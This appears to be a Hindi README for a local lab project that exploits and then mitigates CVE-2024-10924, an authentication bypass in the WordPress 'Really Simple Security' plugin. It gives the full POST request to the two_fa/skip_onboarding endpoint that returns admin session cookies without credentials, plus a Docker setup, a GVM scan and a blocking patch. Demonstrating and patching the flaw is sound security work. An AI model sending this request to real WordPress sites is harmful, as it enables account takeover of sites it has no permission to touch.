CVE-2024-10924

CVE-2024-10924 - Really Simple Security में प्रमाणीकरण उपेक्षा

अवलोकन यह परियोजना CVE-2024-10924 के शोषण और शमन को प्रदर्शित करती है, जो WordPress "Really Simple Security" प्लगइन में एक गंभीर प्रमाणीकरण उपेक्षा भेद्यता है।

चरण 1: पर्यावरण सेटअप

भेद्य WordPress वातावरण प्रारंभ करें: cd wordpress-really-simple-security-authn-bypass-vulnerable-application docker-compose up -d

कंटेनर चल रहे हैं यह सत्यापित करें: docker ps

WordPress एक्सेस करें: http://localhost:1337

आवश्यक उपकरण:

• Python 3.x (स्वचालित शोषण के लिए)
• Burp Suite (मैन्युअल शोषण के लिए)
• GVM (Greenbone Vulnerability Management) स्कैनिंग के लिए

चरण 2: भेद्यता स्कैन

लक्ष्य के विरुद्ध GVM स्कैन चलाएँ:

• Target: http://localhost:1337
• अपेक्षित परिणाम: CVE-2024-10924 का पता लगा
• गंभीरता: गंभीर (CVSS 9.8)
• भेद्य एंडपॉइंट: /reallysimplessl/v1/two_fa/skip_onboarding

चरण 3: शोषण

विधि A - स्वचालित Python शोषण: python exploit.py

विधि B - मैन्युअल Burp Suite:

1. http://localhost:1337 पर ट्रैफ़िक इंटरसेप्ट करें

2. POST अनुरोध भेजें: POST /?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding HTTP/1.1 Host: localhost:1337 Content-Type: application/json

   {"user_id": 1, "login_nonce": "hack", "redirect_to": "/wp-admin/"}

3. एडमिन सत्र वाले Set-Cookie हेडर के साथ प्रतिक्रिया देखें

अपेक्षित परिणाम:

• Status: 200 OK
• एडमिन सत्र कुकीज़ लौटाई गईं
• बिना क्रेडेंशियल के सफल उपेक्षा

चरण 4: शमन

भेद्य एंडपॉइंट को अवरुद्ध करने के लिए पैच लागू करें: .\patch.ps1

यह क्या करता है:

• mitigation.php को कंटेनर के /wp-content/mu-plugins/ में कॉपी करता है
• भेद्य REST API एंडपॉइंट पर सभी अनुरोधों को अवरुद्ध करता है
• शोषण प्रयासों के लिए 403 Forbidden लौटाता है

चरण 5: सत्यापन

शोषण पुनः चलाएँ (विधि A या B): python exploit.py